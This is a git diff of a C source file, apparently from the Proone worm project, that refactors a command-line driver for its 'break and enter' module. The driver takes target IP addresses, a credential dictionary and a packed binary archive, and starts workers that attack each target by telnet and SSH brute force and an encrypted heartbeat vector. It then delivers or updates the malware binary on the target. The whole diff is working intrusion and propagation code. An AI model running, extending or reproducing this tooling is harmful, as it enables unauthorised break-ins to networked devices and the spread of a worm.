diff options
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r-- | src/proone-bne.c | 507 |
1 files changed, 318 insertions, 189 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c index 26d0587..ccecccd 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -3,10 +3,12 @@ #include <assert.h> #include <string.h> #include <errno.h> +#include <getopt.h> #include <signal.h> #include <unistd.h> #include <fcntl.h> +#include <sys/stat.h> #include <arpa/inet.h> #include <mbedtls/entropy.h> @@ -17,63 +19,266 @@ #include "mbedtls.h" #include "proone_conf/x509.h" +#define HELP_STR \ +"Usage: %s <options> <target> [more targets ...]\n"\ +"Options:\n"\ +" --cdict <PATH> path to credential dictionary(required)\n"\ +" --nybin <PATH> path to nybin(required)\n"\ +" --vercmp <INT> vercmp() callback return value. Use negative to get binary\n"\ +" from target. Use positive value to update binary of target.\n"\ +" Use zero to disable M2M binary update(default).\n"\ +"Target: IPv4 or IPv6 address\n" + +struct { + char *cd_path; + char *nybin_path; + struct { + prne_ip_addr_t *arr; + size_t cnt; + } targets; + int vercmp_ret; +} prog_conf; -static char m_upbin_path[256]; -static char m_upbin_args[1024]; -static size_t m_upbin_args_size; +struct { + struct { + uint8_t *m; + size_t l; + prne_cred_dict_t ctx; + } cred_dict; + struct { + uint8_t *m; + size_t l; + } nybin; + struct { + const uint8_t *m; + size_t l; + prne_bin_archive_t ctx; + } ba; + struct { + char path[256]; + char args[1024]; + size_t args_size; + } upbin; + struct { + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; + mbedtls_x509_crt ca; + mbedtls_x509_crt crt; + mbedtls_pk_context key; + mbedtls_ssl_config conf; + } ssl; + prne_llist_t wkr_list; + prne_rcb_param_t rcb_param; + prne_bne_param_t bne_param; +} prog_g; static void print_help (FILE *o, const char *prog) { - fprintf( - o, - "Usage: %s <cred dict> <nybin> <target 0> ... [target N]\n" - "Options:\n" - "\t<cred dict>: path to credential dictionary\n" - "\t<nybin>: path to nybin\n" - "\ttarget N: IPv4 or IPv6 address\n", - prog); + fprintf(o, HELP_STR, prog); } -static bool load_file (const int fd, uint8_t **m, size_t *len) { - bool ret = true; - uint8_t *buf; - size_t buf_size; - ssize_t f_ret; - void *ny; +static void init_g (void) { + prne_memzero(&prog_g, sizeof(prog_g)); - buf_size = prne_getpagesize(); - buf = prne_malloc(1, buf_size); - if (buf == 0) { - perror("prne_malloc()"); - return false; + prne_init_cred_dict(&prog_g.cred_dict.ctx); + prne_init_bne_param(&prog_g.bne_param); + prne_init_rcb_param(&prog_g.rcb_param); + prne_init_bin_archive(&prog_g.ba.ctx); + + mbedtls_x509_crt_init(&prog_g.ssl.ca); + mbedtls_x509_crt_init(&prog_g.ssl.crt); + mbedtls_pk_init(&prog_g.ssl.key); + mbedtls_ssl_config_init(&prog_g.ssl.conf); + + mbedtls_entropy_init(&prog_g.ssl.entropy); + mbedtls_ctr_drbg_init(&prog_g.ssl.ctr_drbg); + prne_init_llist(&prog_g.wkr_list); + + prne_assert(mbedtls_ctr_drbg_seed( + &prog_g.ssl.ctr_drbg, + mbedtls_entropy_func, + &prog_g.ssl.entropy, + NULL, + 0) == 0); +} + +static void free_g (void) { + prne_free_llist(&prog_g.wkr_list); + mbedtls_ctr_drbg_free(&prog_g.ssl.ctr_drbg); + mbedtls_entropy_free(&prog_g.ssl.entropy); + mbedtls_x509_crt_free(&prog_g.ssl.ca); + mbedtls_x509_crt_free(&prog_g.ssl.crt); + mbedtls_pk_free(&prog_g.ssl.key); + mbedtls_ssl_config_free(&prog_g.ssl.conf); + prne_free_cred_dict(&prog_g.cred_dict.ctx); + prne_free_bne_param(&prog_g.bne_param); + prne_free_rcb_param(&prog_g.rcb_param); + prne_free_bin_archive(&prog_g.ba.ctx); + prne_free(prog_g.cred_dict.m); + prog_g.cred_dict.m = NULL; + prog_g.cred_dict.l = 0; + prne_free(prog_g.nybin.m); + prog_g.nybin.m = NULL; + prog_g.nybin.l = 0; +} + +static void init_conf (void) { + prne_memzero(&prog_conf, sizeof(prog_conf)); +} + +static void free_conf (void) { + prne_free(prog_conf.cd_path); + prog_conf.cd_path = NULL; + prne_free(prog_conf.nybin_path); + prog_conf.nybin_path = NULL; + prne_free(prog_conf.targets.arr); + prog_conf.targets.arr = NULL; + prog_conf.targets.cnt = 0; +} + +static void load_str (char **dst, const char *str) { + *dst = prne_redup_str(*dst, str); + if (*dst == NULL) { + perror("prne_redup_str()"); + abort(); } +} + +static int parse_args (const int argc, char *const*args) { + static const struct option lopts[] = { + { "cdict", required_argument, 0, 0 }, + { "nybin", required_argument, 0, 0 }, + { "vercmp", required_argument, 0, 0 }, + { 0, 0, 0, 0 } + }; + bool arg_proc = false; + int f_ret, li; while (true) { - f_ret = read(fd, buf, buf_size); + f_ret = getopt_long(argc, args, "", lopts, &li); if (f_ret == 0) { - break; + const struct option *lo = lopts + li; + + if (strcmp(lo->name, "cdict") == 0) { + load_str(&prog_conf.cd_path, optarg); + } + else if (strcmp(lo->name, "nybin") == 0) { + load_str(&prog_conf.nybin_path, optarg); + } + else if (strcmp(lo->name, "vercmp") == 0) { + f_ret = sscanf(optarg, "%d", &prog_conf.vercmp_ret); + if (f_ret == EOF) { + perror("sscanf()"); + return 1; + } + if (f_ret != 1) { + fprintf( + stderr, + "%s: invalid argument for --vercmp\n", + optarg); + return 2; + } + } + else { + abort(); + } + + arg_proc = true; + } + else if (f_ret == '?') { + return 2; } - if (f_ret < 0) { - perror("read()"); - ret = false; + else { break; } + } - ny = prne_realloc(*m, 1, *len + f_ret); - if (ny == NULL) { - perror("prne_realloc()"); - ret = false; - break; + if (!arg_proc) { + print_help(stderr, args[0]); + return 2; + } + if (prog_conf.cd_path == NULL) { + fprintf(stderr, "--cred_dict required.\n"); + return 2; + } + if (prog_conf.nybin_path == NULL) { + fprintf(stderr, "--nybin required.\n"); + return 2; + } + prog_conf.targets.cnt = argc - optind; + if (prog_conf.targets.cnt == 0) { + fprintf(stderr, "No target.\n"); + return 2; + } + + prog_conf.targets.arr = prne_calloc( + sizeof(prne_ip_addr_t), + prog_conf.targets.cnt); + for (size_t i = 0; i < prog_conf.targets.cnt; i += 1, optind += 1) { + prne_ip_addr_t *p = prog_conf.targets.arr + i; + + if (inet_pton(AF_INET6, args[optind], p->addr)) { + p->ver = PRNE_IPV_6; + } + else if (inet_pton(AF_INET, args[optind], p->addr)) { + p->ver = PRNE_IPV_4; + } + else { + fprintf(stderr, "%s: invalid IP address\n", args[optind]); + return 2; } - *m = (uint8_t*)ny; - memcpy(*m + *len, buf, f_ret); - *len += f_ret; } - prne_free(buf); + return 0; +} + +static bool load_file (const char *path, uint8_t **obuf, size_t *olen) { + bool ret = false; + int fd = -1; + ssize_t f_ret; + uint8_t *m = NULL; + struct stat st; + + fd = open(path, O_RDONLY); + if (fd < 0) { + perror(path); + goto END; + } + + f_ret = fstat(fd, &st); + if (f_ret != 0) { + perror(path); + goto END; + } + + m = (uint8_t*)prne_malloc(1, st.st_size); + if (m == NULL && st.st_size > 0) { + perror("prne_malloc()"); + goto END; + } + f_ret = read(fd, m, st.st_size); + if (f_ret < 0) { + perror("read()"); + goto END; + } + if (f_ret != st.st_size) { + fprintf(stderr, "%s: file changed whilst loading!\n", path); + goto END; + } + ret = true; + +END: + prne_close(fd); + if (ret) { + *obuf = m; + *olen = st.st_size; + } + else { + prne_free(m); + } return ret; } -static void load_htbt_ssl_conf ( +static bool load_htbt_ssl_conf ( mbedtls_x509_crt *ca, mbedtls_x509_crt *crt, mbedtls_pk_context *key, @@ -102,6 +307,8 @@ static void load_htbt_ssl_conf ( mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL); mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd); mbedtls_ssl_conf_authmode(conf, MBEDTLS_SSL_VERIFY_REQUIRED); + + return true; } static void report_result (const prne_bne_result_t *r) { @@ -172,7 +379,7 @@ static uint64_t cb_uptime (void *ctx) { } static int cb_vercmp (void *ctx, const uint8_t *uuid) { - return -1; + return prog_conf.vercmp_ret; } static int cb_tmpfile ( @@ -232,165 +439,100 @@ static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) { const size_t path_len = prne_nstrlen(path); prne_dbgast(path_len > 0); - if (path_len + 1 > sizeof(m_upbin_path) || - cmd->mem_len > sizeof(m_upbin_args)) + if (path_len + 1 > sizeof(prog_g.upbin.path) || + cmd->mem_len > sizeof(prog_g.upbin.args)) { errno = ENOMEM; return false; } - memcpy(m_upbin_path, path, path_len + 1); - memcpy(m_upbin_args, cmd->mem, cmd->mem_len); - m_upbin_args_size = cmd->mem_len; + memcpy(prog_g.upbin.path, path, path_len + 1); + memcpy(prog_g.upbin.args, cmd->mem, cmd->mem_len); + prog_g.upbin.args_size = cmd->mem_len; return true; } static void do_run_upbin (void) { - for (size_t i = 0; i < m_upbin_args_size; i += 1) { - if (m_upbin_args[i] == 0) { - m_upbin_args[i] = ' '; + for (size_t i = 0; i < prog_g.upbin.args_size; i += 1) { + if (prog_g.upbin.args[i] == 0) { + prog_g.upbin.args[i] = ' '; } } - m_upbin_args[m_upbin_args_size - 1] = 0; + prog_g.upbin.args[prog_g.upbin.args_size - 1] = 0; printf( "upbin received:\n%s %s\n", - m_upbin_path, - m_upbin_args); + prog_g.upbin.path, + prog_g.upbin.args); } -int main (const int argc, const char **args) { +int main (int argc, char **args) { static prne_bne_vector_t ARR_VEC[] = { PRNE_BNE_V_HTBT, PRNE_BNE_V_BRUTE_TELNET, PRNE_BNE_V_BRUTE_SSH }; int ret = 0; - int fd = -1; - uint8_t *m_cred_dict = NULL, *m_nybin = NULL; - size_t cred_dict_len = 0, nybin_len = 0; - const uint8_t *m_dv, *m_ba; - size_t dv_len, ba_len; - prne_ip_addr_t *arr = NULL; - size_t cnt = 0; - prne_cred_dict_t dict; - prne_bin_archive_t ba; - prne_bne_param_t param; - prne_rcb_param_t rcb; prne_pack_rc_t prc; - mbedtls_entropy_context entropy; - mbedtls_ctr_drbg_context ctr_drbg; - struct { - mbedtls_x509_crt ca; - mbedtls_x509_crt crt; - mbedtls_pk_context key; - mbedtls_ssl_config conf; - } htbt_ssl; pth_event_t ev_root = NULL; - prne_llist_t wkr_list; signal(SIGPIPE, SIG_IGN); - prne_init_cred_dict(&dict); - prne_init_bne_param(¶m); - prne_init_rcb_param(&rcb); - prne_init_bin_archive(&ba); - - mbedtls_x509_crt_init(&htbt_ssl.ca); - mbedtls_x509_crt_init(&htbt_ssl.crt); - mbedtls_pk_init(&htbt_ssl.key); - mbedtls_ssl_config_init(&htbt_ssl.conf); - - mbedtls_entropy_init(&entropy); - mbedtls_ctr_drbg_init(&ctr_drbg); - prne_init_llist(&wkr_list); - + init_conf(); + init_g(); prne_assert(pth_init()); - prne_assert(mbedtls_ctr_drbg_seed( - &ctr_drbg, - mbedtls_entropy_func, - &entropy, - NULL, - 0) == 0); - // TRY - if (argc < 4) { - print_help(stderr, args[0]); - ret = 2; - goto END; - } - - load_htbt_ssl_conf( - &htbt_ssl.ca, - &htbt_ssl.crt, - &htbt_ssl.key, - &htbt_ssl.conf, - &ctr_drbg); - - cnt = (size_t)argc - 3; - arr = (prne_ip_addr_t*)prne_calloc(sizeof(prne_ip_addr_t), cnt); - if (arr == NULL) { - ret = 2; - perror("prne_calloc()"); - goto END; - } - for (size_t i = 0; i < cnt; i += 1) { - const char *str = args[i + 3]; - prne_ip_addr_t *e = arr + i; - - if (inet_pton(AF_INET6, str, e->addr)) { - e->ver = PRNE_IPV_6; - } - else if (inet_pton(AF_INET, str, e->addr)) { - e->ver = PRNE_IPV_4; - } - else { - ret = 2; - fprintf(stderr, "%s: invalid IP address\n", str); - goto END; - } - } - - fd = open(args[1], O_RDONLY); - if (fd < 0) { - perror(args[1]); - ret = 1; - goto END; - } - if (!load_file(fd, &m_cred_dict, &cred_dict_len)) { - ret = 1; + ret = parse_args(argc, args); + if (ret != 0) { goto END; } - prne_close(fd); - fd = open(args[2], O_RDONLY); - if (fd < 0) { - perror(args[2]); - ret = 1; - goto END; - } - if (!load_file(fd, &m_nybin, &nybin_len)) { + if (!load_htbt_ssl_conf( + &prog_g.ssl.ca, + &prog_g.ssl.crt, + &prog_g.ssl.key, + &prog_g.ssl.conf, + &prog_g.ssl.ctr_drbg) || + !load_file( + prog_conf.cd_path, + &prog_g.cred_dict.m, + &prog_g.cred_dict.l) || + !load_file( + prog_conf.nybin_path, + &prog_g.nybin.m, + &prog_g.nybin.l)) + { ret = 1; goto END; } - prne_close(fd); - if (!prne_dser_cred_dict(&dict, m_cred_dict, cred_dict_len)) { + if (!prne_dser_cred_dict( + &prog_g.cred_dict.ctx, + prog_g.cred_dict.m, + prog_g.cred_dict.l)) + { perror("prne_dser_cred_dict()"); ret = 1; goto END; } - if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) { - fprintf(stderr, "prne_index_nybin() failed.\n"); + if (!prne_index_nybin( + prog_g.nybin.m, + prog_g.nybin.l, + &prog_g.rcb_param.m_dv, + &prog_g.rcb_param.dv_len, + &prog_g.ba.m, + &prog_g.ba.l)) + { + perror("prne_index_nybin()"); ret = 1; goto END; } - prc = prne_index_bin_archive(m_ba, ba_len, &ba); + prc = prne_index_bin_archive(prog_g.ba.m, prog_g.ba.l, &prog_g.ba.ctx); if (prc != PRNE_PACK_RC_OK) { fprintf( stderr, @@ -400,31 +542,29 @@ int main (const int argc, const char **args) { goto END; } - rcb.m_dv = m_dv; - rcb.dv_len = dv_len; - rcb.ba = &ba; + prog_g.rcb_param.ba = &prog_g.ba.ctx; - param.htbt_ssl_conf = &htbt_ssl.conf; - param.cred_dict = &dict; - param.vector.arr = ARR_VEC; - param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); - param.rcb = &rcb; - param.cb.exec_name = cb_exec_name; - param.cb.uptime = cb_uptime; - param.cb.vercmp = cb_vercmp; - param.cb.tmpfile = cb_tmpfile; - param.cb.upbin = cb_upbin; + prog_g.bne_param.htbt_ssl_conf = &prog_g.ssl.conf; + prog_g.bne_param.cred_dict = &prog_g.cred_dict.ctx; + prog_g.bne_param.vector.arr = ARR_VEC; + prog_g.bne_param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); + prog_g.bne_param.rcb = &prog_g.rcb_param; + prog_g.bne_param.cb.exec_name = cb_exec_name; + prog_g.bne_param.cb.uptime = cb_uptime; + prog_g.bne_param.cb.vercmp = cb_vercmp; + prog_g.bne_param.cb.tmpfile = cb_tmpfile; + prog_g.bne_param.cb.upbin = cb_upbin; - for (size_t i = 0; i < cnt; i += 1) { + for (size_t i = 0; i < prog_conf.targets.cnt; i += 1) { prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); prne_init_worker(w); - prne_assert( - w != NULL && - prne_llist_append(&wkr_list, (prne_llist_element_t)w) != NULL); + prne_assert(prne_llist_append( + &prog_g.wkr_list, + (prne_llist_element_t)w) != NULL); - param.subject = arr[i]; - if (!prne_alloc_bne(w, &ctr_drbg, ¶m)) { + prog_g.bne_param.subject = prog_conf.targets.arr[i]; + if (!prne_alloc_bne(w, &prog_g.ssl.ctr_drbg, &prog_g.bne_param)) { perror("prne_alloc_bne()"); abort(); } @@ -433,11 +573,14 @@ int main (const int argc, const char **args) { prne_assert(w->pth != NULL); } - while (wkr_list.size > 0) { + while (prog_g.wkr_list.size > 0) { // rebuild event pth_event_free(ev_root, TRUE); ev_root = NULL; - for (prne_llist_entry_t *e = wkr_list.head; e != NULL; e = e->next) { + for (prne_llist_entry_t *e = prog_g.wkr_list.head; + e != NULL; + e = e->next) + { prne_worker_t *w = (prne_worker_t*)e->element; pth_event_t ev = pth_event( PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, @@ -455,7 +598,7 @@ int main (const int argc, const char **args) { pth_wait(ev_root); // reap - for (prne_llist_entry_t *e = wkr_list.head; e != NULL;) { + for (prne_llist_entry_t *e = prog_g.wkr_list.head; e != NULL;) { prne_worker_t *w = (prne_worker_t*)e->element; pth_attr_t attr = pth_attr_of(w->pth); pth_state_t state; @@ -473,7 +616,7 @@ int main (const int argc, const char **args) { prne_free_worker(w); prne_free(w); - e = prne_llist_erase(&wkr_list, e); + e = prne_llist_erase(&prog_g.wkr_list, e); } else { e = e->next; @@ -482,26 +625,12 @@ int main (const int argc, const char **args) { } END: // CATCH - prne_free_llist(&wkr_list); pth_event_free(ev_root, TRUE); - mbedtls_ctr_drbg_free(&ctr_drbg); - mbedtls_entropy_free(&entropy); - mbedtls_x509_crt_free(&htbt_ssl.ca); - mbedtls_x509_crt_free(&htbt_ssl.crt); - mbedtls_pk_free(&htbt_ssl.key); - mbedtls_ssl_config_free(&htbt_ssl.conf); - prne_free_cred_dict(&dict); - prne_free_bne_param(¶m); - prne_free_rcb_param(&rcb); - prne_free_bin_archive(&ba); - prne_close(fd); - prne_free(arr); - prne_free(m_cred_dict); - prne_free(m_nybin); - + free_g(); + free_conf(); pth_kill(); - if (prne_nstrlen(m_upbin_path) > 0) { + if (prog_g.upbin.path[0] != 0) { do_run_upbin(); } |